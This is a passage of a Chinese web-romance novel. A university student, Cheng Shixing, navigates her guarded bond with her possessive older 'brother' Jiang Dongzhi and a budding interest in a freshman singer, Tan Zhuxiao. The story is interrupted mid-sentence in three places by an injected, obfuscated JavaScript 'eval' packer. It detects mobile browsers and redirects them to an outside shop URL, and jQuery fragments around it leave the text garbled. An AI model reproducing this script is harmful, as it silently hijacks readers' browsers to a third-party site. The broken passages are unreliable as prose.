“别再来找我了,路上遇到也应该装作不认识。”程拾醒一直秉持着合格的前任应该像死了一样安静的理念,她在这方面表现一直很出色,但她的“搭子”好像总是不太出色,这令她有些为难,但也只是“有些”而已,就像现在,她叹了口气,再次说出那四个字,“好聚好散。” 说完这句话,她便转身走了,把他抛在身后,拎着那瓶矿泉水,朝向烧烤摊的方向,夜风将身后人的抽泣声捎得很远。 掌心的手机在震动,她摁亮一看。 刺猬:【家里灯坏了,回来路上顺便帮我去超市买个灯泡。】 4. 4 程拾醒带着灯泡推开家门时,扑面而来是一片漆黑,蒋冬至正坐着沙发在黑夜中看电影,听见门口有动静,懒懒道:“十点,今天回来还挺早。” 她换上拖鞋,适应了会儿黑暗,走过去将灯泡丢给他,仰起头问:“是客厅的灯坏了吗?” 光影在蒋冬至脸上掠过,他眼睛望着投影幕,随意应了声。 程拾醒偏过头去看电影画面,少年布莱斯骑着单车驶过朱莉的大树下,叨念着他才不要和朱莉一起爬树。那会儿,他讨厌朱莉正讨厌得紧。 只看了一眼,她便收回视线,转过身准备回房间。 灯泡买回来了,剩下的就交给他了。 正要抬脚,下一秒,手腕便被人控住。 程拾醒扭过头,他仍在看电影屏幕,双腿交叠,脊背倚在柔软的沙发上,怀中松松环着个抱枕,另一只手握住她的手腕,力道称不上大,但如果她要想挣脱,他就会收紧。 他这个人就是这样。 大约是察觉到她的视线,蒋冬至终于撩起眼皮,望向她,朝边上的座位扬了下下巴:“陪我看会儿电影。” “你不换灯泡吗?”她站着没动。 “不着急。”蒋冬至说。 ‘和她家的脏院子相比,还是树上的朱莉更为恼人……’ 她依旧没动,“我已经错过片头了。” “也不着急。”他不紧不慢,“也才刚开始呢。” 程拾醒在原地停了几秒,才迈腿过来,在他身侧坐下,看着大屏幕,准确地报出了电影的名字:“《怦然心动》。” 他应了声。 “怎么想起看这个来了?”程拾醒问。 这部片子在她初中时看过一遍,也是同蒋冬至一起。只不过还未看完,两个人就吵了起来。具体什么原因记不清了,她过去和他吵架本来也不需要什么原因,有的时候一个眼神碰上,嘴巴自然而然就开始争论了。 从坐着吵,到后来程拾醒自觉身高矮气势不够,站起来同他叫骂,再到后来两个人同时站在沙发上拿着抱枕互相砸。 当时正在气头上,到后来程拾醒才知道,蒋冬至的“砸”向来都是表面功夫,怕她真出了好歹。只有她用尽了全力,跟不要命了似的往他身上挥枕头,还叫嚣着他那么大个块头还打不过她个小姑娘,气得蒋冬至浑身红温。实际上但凡他真动点真格,她就会被立即掀飞,颜面扫地。 就像后来她才知道,原来电影的结局是布莱斯和朱莉在一起了,否则当时她也不会被愤怒冲昏了头,指着电视机里的布莱斯冲蒋冬至吼:“我讨厌你,你对我比布莱斯对朱莉还要过分!” 吼完话,她胸膛剧烈起伏,凶狠地瞪着他。 电影里还在播着朱莉的那棵无花果树。 只有蒋冬至愣住了。 半晌,他动了动干涩的唇,说:“这怎么能比呢?” 而眼下,儿时鸡飞狗跳皆已云散,当年青涩的少年脸庞轮廓逐渐分明,蒋冬至就这么懒散地坐在她旁边,细长的手指搭在怀里的抱枕上,指节自然微曲着,薄皮之下青筋若隐若现。 范茹画先前不止一次同她夸赞过说她哥的手好看,程拾醒也曾不止一次地嗤笑过。她并非手控,也理解不了范茹画那些小癖好。 但在这一刻,她忽然很没由来地觉得,范茹画说得有些道理。 察觉到她在他身上停留的目光,蒋冬至回过头来,以为是他久未回应,程拾醒等得有些不耐了,便淡淡答道:“没什么特别的原因,只是突然想看了。” 她没再说话了,慢慢转回了头,脊背陷进沙发中,静静地看着电影里布莱斯对茱莉态度的转变,余光里是他搭着抱枕的修长手指,模糊不清的,仅靠投影作为光源,朦胧地描绘他的轮廓,仅靠身侧沙发处的凹陷,感受他的存在。 他们确实已经很久很久,没有像这样坐在一起看同一部电影了。 布莱斯爱上了朱莉,在朱莉已对他感到伤心之际。这一次,懦弱的他推开了侮辱朱莉的伽利特,敲着她的家门乞求原谅,在她窗外种下了一颗无花果树苗。 朱莉还是打开了房门,走向他。 电影谢幕,在片尾曲里滚动着演员信息。 两个人依旧静坐在那里,在舒缓的背景音乐中沉寂。 半晌,程拾醒开了口:“暑假有个人来这里找过我。” “范茹画?” 程拾醒:“不是。” 蒋冬至慢慢吞吞啊了声,尾音拖长了,显得模糊不清:“那个男生啊。” 她侧过头去看他,问:“怎么没告诉我?” 他也看向她,睫毛低垂着,在漆黑中与她对视。 “今晚你见到他了?” 她嗯了下。 蒋冬至低头,揉捏着怀中抱枕一角,若有似无笑了下。 “本来以为你不会想知道,打发了就行。” “在不在意是一回事,知不知道是另一回事。”程拾醒道。 “你是前者还是后者?” 她不答反问:“你说呢,哥哥?” 蒋冬至松开了揉捏抱枕的手。 “知道了。”他颔首,交叠的腿放下,起了身,拎起一旁装着电灯泡的塑料袋,又从柜子里捞出个手电丢给她,叫她举着。 换电灯泡不是很难,他动作利落,没一会儿便好了。 “去按下开关试试。”他站在椅子上,示意她。 程拾醒踩着拖鞋走至开关处,抬起手指,搭在上头,即将按下的那一刻,忽而听见蒋冬至喊她的名字。 “程拾醒?” “嗯?”她回头。 暗色中,她对上一双神色莫辨的眼睛,直直同她对视。 “这里是我们的家,别让不相干的人找过来。”眼睛的主人这么说。 程拾醒顿了下,先行一步挪开视线,“啪”一声摁下开关,灯光大亮。 “知道了。”她淡声说。 - 周日是校园歌手的初赛,范茹画去年没进复赛,不死心,发誓说今年一定得拿到名次,还央着程拾醒帮她化舞台妆。 “不管这次能不能成功,我要一个惊艳全场的妆容。”范茹画握着她的手上下摇晃,眼神真挚,“好闺闺,靠你了。” 程拾醒倚在桌边,轻轻拂开她的手,瞧着她坚定的目光,乐:“知道了,顾客。” 程拾醒拥有一双化腐朽为神奇的手,还拥有两只审美品位极佳的眼睛。范茹画每回有什么重要场合总要拜托她一遍,而每次拜托总会被她高超的化妆技术所折服。程拾醒也依靠着这门过硬技术在短视频平台上积攒了几十万粉丝,偶尔接点想接的广告与校内女生的化妆单子,从中捞了一大笔钱。 范茹画瞧着镜子里的自己一点一点被改得漂亮又不失辨识度,咂舌。 最后,程拾醒拿直夹板帮她烫了个大波浪,喷了点发胶定型,手指一按,啪嗒一下合上发胶的盖子,“好了。” 范茹画自信欣赏了下镜子里的自己,肯定地朝她竖起大拇指。 “不客气。”程拾醒弯唇,“待会儿需要我帮你录像吗?” “不用,我不上相。” “你是在质疑我化的妆还是质疑我的摄像水平?”程拾醒问。 “这哪能?别污蔑我。”范茹画无辜地控诉她,片刻后还是摇摇头,两只手交叉握着垂在膝盖上,“不过还是算了,我有点紧张,你要是录像,我待会儿在台上肯定会更紧张。” “紧张什么?”她弯腰,将范茹画紧扣着的手解开,捏捏她指腹的软肉以示安慰,语气轻松,“你可是要惊艳全场的人。” 临到赛前,范茹画反而怯场,“去年我也是这么说的,结果连初赛都没进。我们学校能唱的实在太多了。” “但你去年唱得很好听。” 范茹画抬着眼瞧她,满脸不信,“少唬我。” “唬你做什么?你在我心里是一骑绝尘的第一。”程拾醒再捏捏她的指腹,“如果我是评委,会毫不犹豫地给你打满分。” “不愧是我的好闺闺。”范茹画感动得热泪盈眶,“但是你能别玩我的手了吗?” 程拾醒低头瞥了眼,笑了,松开手,抱起胸,“那不是看你紧张吗?” “我真谢谢你。”范茹画做了个哭笑的表情,转而对着镜子深呼吸,放松了会儿心情,突然想到什么,“我刚看你过来怎么还带着行李?” “打算来学校住几天。”程拾醒道,“有个项目要做,在学校和组员开会方便点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054679|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怪不得。”范茹画点点头。 帘幕之外,舞台上的灯亮起光,主持人的声音穿过黑幕的缝隙,隐隐透进后台。 比赛要开始了。 程拾醒拍了拍她的肩,“我先去观众席了,你加油。” 范茹画朝她挥挥手。 她从后台的化妆间退出来,合上门,转身迈入观众席间。来看比赛的人并不多,第一排都是评委,桌前竖着红色的牌子,标注着名字。再往后,一眼望去,大部分都是空位,许多观众都是陪选手来的,此刻零零散散坐在各处。 程拾醒随意找了个空位坐下,将小包链条从肩上卸下,手指随意揉了揉肩峰边被链子压出的红痕。 第一位选手上场了,是首她从未听过的英文歌,旋律倒也挺好听的。程拾醒从包里翻出手机,点开app的听歌识曲。屏幕中央圆圈波纹散开,显示着“正在识曲中……”,等了大约十秒,圆圈终于停止拨动。 结果弹出来的那一秒,手机贴着掌心嗡的一声,振动带来的麻感顺着掌心的纹路上爬。她垂着眼望,屏幕最上方的那则微信消息框连同歌名一同落入眼中。 eAroundMe》 【你U盘落桌上了。】 手机又振一下。 【图片.jpg】 是蒋冬至的消息。 程拾醒点开图片看了看,仔细回想了会儿,还真是。 今天下午在做下周五要讲的pre,ppt制作完后拔下了u盘,本想临走前塞包里,结果给忘了。 她用指腹敲着键盘回消息。 Puhpowee:【我明天回来拿。】 刺猬:【下周要用?】 Puhpowee:【是的。】 刺猬:【我待会儿要去公司拿文件,和你们学校顺路,正好可以送过来。】 也好,省得她再回去一趟。 Puhpowee:【谢谢哥哥。】 聊天框里再无动静。程拾醒摁灭了手机,重新仰起脸,后脑勺舒服地靠在柔软的椅背上,远远瞧着舞台之上手握话筒的选手唱着歌。 范茹画的歌排在第十位,在总参赛选手中还算靠前。 第一位唱得还挺好听的,后面几位的选歌都不是她爱听的类型,平庸的选歌,中规中矩的唱功,到第四位的时候,程拾醒便已经觉得有些腻了,下午一小时健身课后的困倦后知后觉地涌上迟钝的大脑与下垂的眼皮。 担心自己睡着了会错过范茹画的表演,她便捞起一旁扶手上的手机,方要在微信小程序里随便找个小游戏玩,才发现左下角亮起了小红点。 八分钟前,刺猬:【嗯。】 她随意扫过一眼,清了红点,在小程序里同AI下五子棋,在悔了不知几步棋后,总算拿下了胜利,当即换了先后手,拿着上一把AI的开局思路跟这局的打,原先迟钝的大脑总算慢慢活跃起来,神智逐渐变得清醒。 伴奏声止住,台上的主持人在报下一位参赛者的名字:“下面有请经济学院的谈祝霄同学演唱歌曲《WhatIfI》。” 她思考不过几秒,果断双击屏幕,堵去黑子的路。 架子鼓的节奏比钢琴更先入耳,前奏渐起,片刻后,清爽通透的高音吟唱扩散,话筒将极具穿透力的嗓音送至她耳畔,熟悉的,掀起某夜昏暗翻涌灯光下的记忆。 程拾醒微顿,掀高睫毛朝台上望去,就像那晚止步于酒吧门前,侧过头去,隔着遥遥一段距离掠过那双闭着的眼睛,与白色的体恤衫。 而那人此刻站在台上明亮灯光所及之处,眼仍阖着,光影勾勒握着话筒的那只修长手指的轮廓,上衣下摆被牛仔裤上绕着的那圈黑色腰带一收,尽数扎进裤腰中。 她眉梢惊讶地一扬,突然来了点兴趣,比那夜惊鸿一瞥更甚。她关了五子棋,交叠的双腿松下,换了个姿势坐。手肘抵着座椅边的扶手,掌跟托着下巴,饶有兴致地瞧着台上那道有过一面之缘的身影。 刚主持人说什么来着? 她的目光落在他身后正播放着信息的大屏幕上。 ——经济学院,大一,谈祝霄。 这个名字在唇齿间绕过一遍,她啊了声,似笑非笑。 还是个学弟。 5. 5 范茹画下台后,提着裙摆一路朝程拾醒小跑而去,在她身侧坐下,微喘着气,问:“怎么样?这次在你心里是不是第一?” 程拾醒双腿交叠着,身子前倾,手肘撑着椅边的扶手,手指支着下巴,两眼虚虚往舞台方向望去,说不清聚焦在何处。闻言弯起眼,兴致盎然,道:“当然了。” 她起了身,朝范茹画伸出手,“走吧。” 范茹画拉住,借着她的力道站起来,随着她的步子跟着一起往观众席外挪动。 台上还在比赛,吉他声摇曳。 正要踏出礼堂之时,范茹画扯了下她的手示意她停下,揉揉肚子,面露痛苦,“哎哟,我得去趟卫生间。” “你去吧。”程拾醒松开手,“我在这儿等你。” 范茹画说了声行,捂着肚子匆匆离去。 礼堂内的空调开得有些大,吹得人起鸡皮疙瘩。程拾醒搓了搓胳膊,决定还是在礼堂外等她。 待出了门,她给范茹画发了条位置消息,才将手机放下,在门口低着头踮落脚尖,无聊地等着人。 这周降温了,正值夏秋换季,白天秋老虎依旧厉害,夕阳一下山,便肉眼可见凉快起来。 夜风拂面,携着脑后的长发凌乱地舞动。程拾醒皱了下眉,随手拢了拢,扯下腕上的发绳,松松在脑后扎了个低马尾,余光忽而瞥见某处,一顿—— 那道曾吸引过她两次目光的修长身影终是在她眼前下了舞台,此刻正从礼堂里出来,单肩挎着个黑包,慢吞吞地迈着长腿往浓重的夜色中前行。 程拾醒远看着,心念一动,忽而滑开手机屏幕,随便在最近通话里点了一位,抬手往耳畔一搁,低着头急急往礼堂门口走。 耳侧,电话接通,范茹画的声音传过来:“喂,我好了,准备出来了……” “砰——” 闷闷的撞击将手机里范茹画的嗓音截去,紧接着她指尖一滑,手机顺理成章地在惊呼声中落了地,发出一声清脆的“啪嗒”。 视线所及之处,程拾醒清晰地捕捉到眼前人看向她时眼底的错愕与怔然,下一秒,他反应极快地先行一步蹲下了身,帮她捡起掉落在地上的手机。 “抱歉。”谈祝霄忙道着歉,慌张地用手指拂去手机背面的灰尘,将它翻了个面,人一愣—— 屏幕裂开长长一条,自左上角一路延伸至右侧屏幕中间。 程拾醒伸手,自他手中抽出手机,指腹在不经意间滑过他小指指根,一触即逝。 她轻抚着屏幕上的裂痕,眉心拧起,似乎有些心疼地喃喃:“怎么还裂了?” 谈祝霄立即道:“对不起对不起,我刚没看到你,那个……” “程拾醒?”手机里传出范茹画的声音,带着焦急,打断了谈祝霄的话,“你怎么了?我刚怎么听见好大的砰声呢?” “我没事。待会儿再说。”说完后,她挂断了电话,这才仰起头来望向面前人。 台上台下的距离突然被缩进成了近在咫尺,她的视线自他眉眼间轻轻一点,半明半暗的光线下,这张脸依旧挺赏心悦目。她心情愉悦,轻轻道:“也是我刚刚路走得着急。” “屏幕的钱,我赔你吧。”他说着,从口袋里掏出手机,点开微信二维码,动作太着急,指尖都带了点颤,“你扫我一下吧,我给你转账。” 程拾醒瞥了眼二维码,还好不是收付款,不然就有些棘手了,代表着对方识破了她的意图并委婉拒绝。 她干脆利落扫了码,问:“你叫什么名字?我备注一下。” “谈祝霄。” “不好意思,是哪几个字?”她故意问。 谈祝霄一个字一个字同她解释:“谈话的谈,祝贺的祝,云霄的霄。” 她垂首,指尖敲击着键盘,在备注栏打上他的名字后一字一顿念出了声:“谈,祝,霄。” 点击完发送,她抬起头,眼一弯:“好好听的名字。” 礼堂内的歌声隐隐传出来,若隐若现地伴着她的话在耳畔一绕,听来像一场虚幻的梦。他看着她弯着的眸子,和额前被风吹乱的发丝,一愣,掌心手机嗡的一声振动,低眼望去,微信里弹出一则新的好友申请,申请语上只有三个字——程拾醒。 谈祝霄睫毛一震,通过了好友申请,问:“你的手机膜多少钱?” 程拾醒歪过头,努力想了想,“记不清了,网上买的,我回去找找订单再截图发给你吧。” “好。”他满怀歉意,“今天的事我很抱歉。” “程拾醒——”范茹画提着裙摆从门内跑出来,蹦到她面前,方要开口,瞥了眼她面前的高个男生,话又止住了。 她自然而然挽上范茹画的手臂,冲谈祝霄颔首:“我先走了。” “哦好,拜拜。” 程拾醒转了身,同范茹画并肩走出老远,范茹画才忍不住八卦,问:“这男生谁啊?” 她摊开手机屏幕上的裂痕,听着范茹画嚯了声,才道:“刚不小心撞到他,屏幕摔碎了。” “真不小心?”范茹画扭头往身后瞧了眼,只瞧见个谈祝霄的背影,身形修长,“我感觉他长得好像有点眼熟。” “他是今天的参赛选手。” “不不不,不止。”她摇摇头,沉思了会儿,总算想起来了,“他是不是之前在酒吧驻唱的那个?” 程拾醒瞧她一眼,“你记得倒是清楚。” “我记得清楚是因为我记性好。”范茹画忍不住乐,别有深意,“你记得倒也很清楚。” 她迎着晚风,眺着路灯下笔直的路,不咸不淡:“一般般吧。” 一般清楚,就是确实有些兴趣。 手机嗡的一声响,程拾醒点开消息。 刺猬:【转身,过来拿U盘。】 她看着消息,蹙眉,转过身搜寻。 半晌,她终于看见她那位哥哥,正倚在不远处的路灯灯杆下,一如既往一派慵懒样,也没望向她,只垂着眼,手里把玩着小小的银色U盘,昏黄的灯光描绘他精致的五官,薄唇抿着,脸上没什么情绪。 也不知是早就看见她了,还是刚刚才到。 身侧,范茹画压低了嗓音道:“我靠,你哥怎么又来了?” 程拾醒抬脚,语气淡淡:“来帮我送个U盘。” “U盘?”范茹画跟在她身侧,嘀咕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054680|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你通识课pre要用的那个啊?” 她浅浅嗯了声,站定在蒋冬至面前。 他像是压根没注意她过来了,仍没抬眼,不动声色地把弄着她的U盘,小小一个,灯光打在金属表面上,又反出一点亮光,随着他翻转的动作坠进她眼底。 程拾醒被那道白光刺了下,微眯眼,见他不动,干脆直接伸手。 指腹在触及他指间U盘的那一刻,原本松松夹着U盘的那两根细长的手指倏地用力,紧紧按住,任她怎么拔也纹丝不动。 蒋冬至终于掀开了眼皮,视线慢慢悠悠落在她身上。 程拾醒定定同他对望两眼,撤回手,拨弄了下肩上的包链条,嗓音乖乖巧巧的:“怎么了,哥哥?” 他从灯杆上直起身,影子立即覆盖住了身前的她。程拾醒没动,直直站着,仰着头。 蒋冬至低睨着她,“没什么对我想说的?” 她从善如流:“下次不会那么粗心大意了。” 他扯着嘴角嗤笑一声,没再说什么,拎起她的手腕,揉开她微蜷的五指,将U盘搁在她的掌心,“收好了。” “谢谢。”程拾醒握住,塞进小包里。 蒋冬至嗯了声,视线落在她掌心的手机屏幕上,抬了抬下颚,示意:“屏怎么碎了?” “没拿稳,不小心摔地上了。” “没拿稳?是撞到人了?” 她顿了下,随后微笑:“是啊。” “那可真够不小心的。” “没办法,谁让我粗心大意呢?” 两束目光在朦胧昏暗的灯光下相交,片刻后蒋冬至撇开了目光,不经意地掠过礼堂门口,那被明亮包裹、灯火通明的地方早已空无一人,他又收回目光,哂笑:“不聊了,我还得去公司。” 她哦了下,嗓音柔和:“你先去忙吧。” 蒋冬至正欲转身之际,忽而垂眸看向她。 “程拾醒。”他喊她名字,紧盯着她的眼睛,在得来她一声尾音上翘透露疑惑的“嗯?”声后,停了半晌,开口道,“在学校乖点,别让哥哥操心。” ……乖点? 哪种乖点? 程拾醒没问,只说:“我知道。” 蒋冬至凝望着她的脸,像是要从她的眼神里捕捉些什么,但他没再说话,低下头,手摸进口袋,片刻后,倾过身,手指捏着什么东西,用指尖抵着推进了她的裤子口袋。 “走了。” 他这次是真的转过了身,在被路灯染黄的石砖路上,拖着长长的影子,在她的视线中渐行渐远。 待这道背影彻底消失不见了,她才从口袋里拿出他塞给她的东西—— 一颗糖果。 小小的透明包装里,圆形硬糖像一颗小珍珠,像被缩小了的月球,只不过是葡萄味的月球。 范茹画看着她手指间的那颗糖果,嘀咕:“真奇怪,你哥怎么突然塞颗糖过来?又不是万圣节,你也不喜欢吃甜的啊。” 程拾醒捏了捏包装塑料袋,从鼻间哼出一声笑,把糖果塞进了口袋。 “谁知道呢?”她说。 蒋冬至的想法,她怎么能猜得到? 6. 6 “我们也走吧,请你吃饭。”程拾醒说,“你今天唱得特别棒,庆祝一下。” “这么大方?”范茹画惊讶。 “我什么时候对你不大方了?”她啧了声,“要是你这次拿名次了,我请你去吃个大的。郭效和赵期玉前段时间还在跟我说,这次比赛结束了要来给你开庆功宴。” “庆功宴……还真是对我有信心。”范茹画亲昵地挽住她的胳膊,“好了,为了你的饭,为了郭效和赵期玉的信任,我这次怎么着也得给你们拿个奖回来。” 程拾醒本是想带她出去,但范茹画突然很馋一食堂的红烧肉,非拉着她直奔一食堂。吃过了饭,范茹画要喝奶茶,等在奶茶店门口排队。程拾醒便顺便在旁边的水果摊里逛了圈。 正是吃西瓜和葡萄的季节,店内有现切好的西瓜,用塑料盒装着,放在冷藏柜里。都是无籽瓜,颜色鲜艳。边上的葡萄看着也新鲜,有阳光玫瑰,也有红提,个个果实饱满。 范茹画拿到了奶茶,跑过来找她,见她正用指关节敲着西瓜听声音,问:“怎么?你要买西瓜?” “逛逛。”程拾醒收回了手。 逛水果摊算是她的小众爱好。人家爱逛漂亮的小饰品店,而她有事没事就进水果店瞧瞧应季水果,不一定会买,只是闲逛。当初选择广大的其中一个原因就是,听说隔壁那所和广大并列top的学校没有单独的水果店,而广大有。 范茹画点点头,余光里扫见一边卖芒果的,拎了个瞧了瞧:“这芒果看着不错。” “嗯。”她只瞥了一眼便收回视线,看着似乎对芒果兴致缺缺。 范茹画却是来了兴趣,从边上扯了个小袋子,说:“你帮我挑挑,我买几个回宿舍吃。” 其实程拾醒不太会挑芒果,她平时买水果都会特意避着芒果买,于是就帮着拿了几个看着颜色漂亮的,装进袋子,后面自己又买了串红提,同范茹画一起去收银台付了钱。 回到宿舍的时候已经是晚上八点半,室友都在,见她回来懒洋洋地伸手同她打招呼。 程拾醒洗了一点葡萄,每个人分了几个,再回到自己椅子上坐下时,瞧见桌上的手机屏幕亮了,是支付宝转账信息。 她擦了擦手上的水珠,点开。 蒋冬至给她转了三千五,备注里写着生活费。 程拾醒眉心微不可见一蹙,指尖一划屏幕,转了微信。 Puhpowee:【不是跟你说了,我自己有赚,早已经不用你给生活费了。】 他消息回得很快,就两个字。 刺猬:【收着。】 她低着睫毛,无声看着屏幕,良久,抿了下唇,没再说什么。事实上从她能养活自己开始,几乎每个月他们都有这样一段对话,从起初大段大段地推拉这笔生活费,她转回去,他又转过来,她再转回去……到现在,他们也就剩了这么两句,有的时候,程拾醒甚至懒得再去提这件事。 她手指戳着屏幕,输入密码,把方才那笔钱数尽转进了其中一张银行卡里封存。 - 程拾醒拿到了谈祝霄的微信号,然后就把他抛之脑后了。她学的广播电视,这段时间参加了个项目,截交时间紧,致使她过得太忙,要么举着相机到处跑,要么坐在电脑前键盘与鼠标咔咔响,再要么就是同组员开会,连同范茹画聊天都变少了,也懒得管手机屏幕上那一条裂痕,反正不影响使用。 至于蒋冬至,她更是不太联系了。 那天晚上他言语中的试探令她略有些不爽,正好这段时间住学校里,不用看见他,也挺好。保不准他其实也并不想看到她,两个人都清净。 再数数银行卡里的余额,程拾醒感到愉快。 不知道是从什么时候开始,她起了一个念头——要在广吴这座大城市里买一套房子,然后从蒋冬至那里搬出去。随着在短视频红因app上的粉丝量逐渐增多,找她的广告商在增多,广告费也不断被抬高,这张可以被称之为工资卡的储蓄卡中已经攒下好几个零。 差不多攒到明年秋天,她就可以准备联系房产中介看房了。 范茹画之前对她这种这么早就要努力存钱买房的想法感到不解。 “你在这里又不是没地方住。” 程拾醒只是摇摇头:“这不是长久之计。” 范茹画想了想,觉得也是。 她哥年纪不小了,说不定哪天就恋爱结婚了,到时候把嫂子接过来,程拾醒住那就是做个闪亮的电灯泡,不太好。 “姐妹,我支持你。”于是范茹画拍拍她的肩,表情严肃,“而且有目标是绝对的好事……我到时候可以不付房租地住进你的房子吗?我可以给你做饭,包好吃的。” 程拾醒:“……” 她深深叹了口气。 待项目终于结束,提交给老师后,程拾醒倚着椅背,伸了个巨大的懒腰,随后搁置在桌边的手机嗡嗡振动,屏幕上弹出来自范茹画的微信电话。 甫一接通,就听见范茹画极力压抑着激动的嗓音:“我校园歌手进复赛了!” 而她终于从遥远的记忆里翻找出那件白体恤,那首《WhatIfI》,以及躺在她手机里两周有余的微信号。 “恭喜。”程拾醒祝贺。 “两周后开始复赛,负责人让我三天内把选曲与伴奏发给她。”范茹画说,“我决定了,这次要是能拿名次,包你一个季度的水果!” 程拾醒调侃:“你现在是在跟我画饼吗?” “此言差矣,什么叫作画饼?”范茹画对她的发言表示不满,“别人的话你可以不信,姐妹的话你一定得信。” 顿顿,范茹画又故作深沉地说:“这也是我义无反顾地选择和你做好姐妹到现在的原因。” 她没听懂:“什么?” “那年高二,杏花微雨,你说日后发达了定会养我,程四郎,我对此一直深信不疑。” “……”程拾醒噗嗤一声笑了,“这似乎不行啊,范嬛嬛,他俩的结局可不好。” 范茹画也跟着乐,笑完了清清嗓子,道:“好了,不跟你闹了,我要练歌去了。” 程拾醒同她互道了再见,挂断电话后,仍握着手机没松开,视线点在微信页面上,沉思片刻,在搜索栏处敲开了键盘,输入——谈祝霄。 聊天页面很快被弹出来,她此刻才看到他给她发的消息,共三条。 上上周四。 谈祝霄:【您好,请问手机膜的付款记录找到了吗?】 上周二。 谈祝霄:【您好,有看见消息吗?可以回复一下我吗?谢谢。】 上周日。 谈祝霄:【您好,在吗?】 三条消息,三个“您好”。 她瞧着那三条消息,忽而觉得兴致没那么浓厚了。 本以为他或许会像那夜酒吧昏暗世界里桌上点燃的暖色蜡烛,暧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054681|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昧地摇曳着烛光,但现在瞧来,竟是个礼貌又冷淡的性子。 她现在对这种性格不感冒,不想谈,真可惜。 她的指尖再次触开了键盘。 Puhpowee:【抱歉,前几天忙,没看见消息。】 Puhpowee:【购物截图已经找不到了,可能是之前不小心被删掉了。这周五上午九点半你有空吗?】 对面几乎是秒回。 谈祝霄:【您好,有的。】 她盯着“您好”这两个字,眉一挑。 像个有礼貌的客服,像只笨拙到只会重复一句话的鹦鹉。 Puhpowee:【那要不然,你陪我去实体店买张手机膜吧。】 发送完这行字,她右手肘撑靠着左臂,支起小臂以及掌心的手机,漫不经心看着屏幕上方,那道裂痕之上,“对方正在输入中……”的文字闪了又闪,不知过了多久,底部终于弹跳出一条新气泡。 谈祝霄:【好。】 - 周五,程拾醒与谈祝霄约了在她宿舍楼下见面。 昨夜下雨,不知怎么的,失眠了,连带着今早也起晚了。早上睁开眼已是九点十分,摸开手机,比闹钟“十分钟后再次提醒”标识更先入眼的是来自“您好”同学的消息,照例以“您好”开头,表示自己来早了,现在已经在她宿舍楼下了。 还有一句—— 谈祝霄:【外面下雨了。】 程拾醒盯着这条消息半晌,神色淡了下来,从床上爬下来洗漱,吃了片面包,穿上黑色长裙,随手涂了个唇釉,出门时在手腕以及耳后抹了点香水,拎着把透明伞出了门。 临到楼门口时,她远远瞧见那道举着黑色雨伞、候在马路对面的修长身影,于是撑开伞,踩着水花迈步靠近。 随着她裙摆轻晃地跨过一个个小水洼,向他走近,谈祝霄闻到一股极淡的香水味飘过鼻尖,甜调过去,带着苦味的广藿香散开,像柔软的木质,被雨水清洗浸润。 “抱歉,久等了。”她站定在他面前,露出个微笑。 “没关系,本来就是我来早了。”谈祝霄在雨幕中,视线掠过她的眼睛,问,“我们去哪家店?” “不清楚。” 谈祝霄一愣,重复:“不清楚?” “离学校一千米左右有家小店管贴膜,但老板比较随性,不一定开门营业。去往这家店的路上会经过一座桥,桥下偶尔会有大爷摆摊贴膜,不过今天下小雨,他不一定会来。”程拾醒耸了下肩,看着也不太在意的样子,“谁知道呢?” 他问:“那如果这两家都不开呢?” 她似笑非笑:“如果这两家店都不开,我们就得乘公交去往五千米外的商场了。” 可是谁又知道那位大爷会不会不惧小雨安稳坐于桥下,随性的小店老板会不会在这场湿润的雨里解开玻璃门上的铁链锁呢? 薛定谔的猫罢了。 程拾醒说:“你是大一新生吧?” “你怎么知道?”谈祝霄诧异。 她轻快地吐出两个字:“猜的。” 他俩靠着双腿打开了关着猫的封闭箱子,然后看见桥下踩着人字拖的大爷正坐在户外大阳伞下的矮脚板凳上,戴着老花镜,戳着他的诺基亚。 她在心底啊了声,像声没有任何失落之意的叹息,顶多掺杂了稍许遗憾—— 啊,或许她对他的兴趣就要到此结束了。 7. 7 大爷的贴膜技术不是盖的,钱一到账,迅速又平整地换上新膜。 程拾醒接过手机,听见身侧他问:“那……我们是现在回学校,还是……” 谈祝霄止住了话,她耐心地等了会儿,始终没听见后文。她微微抬起伞面,目光扫过阴沉的天,转而落在他的脸上,落在他正颤动着的睫毛上,片刻后开口:“回去吧,听说待会儿要下大雨。” 她声音轻轻柔柔的,身子一转,跨过他身旁,沿着原先来时的路往回走。 谈祝霄再次闻到了那抹若有似无的香水味,此时苦调更重,在他鼻尖轻描淡写地一点,又在潮湿的空气里消失得一干二净。 他愣了下,怔怔看着她脚下黑色裙摆涟漪,无意识捏了捏掌心,随后快走两步,跟上她的步子。 - “你后面跟那个……什么谈,还有联系吗?”范茹画问。 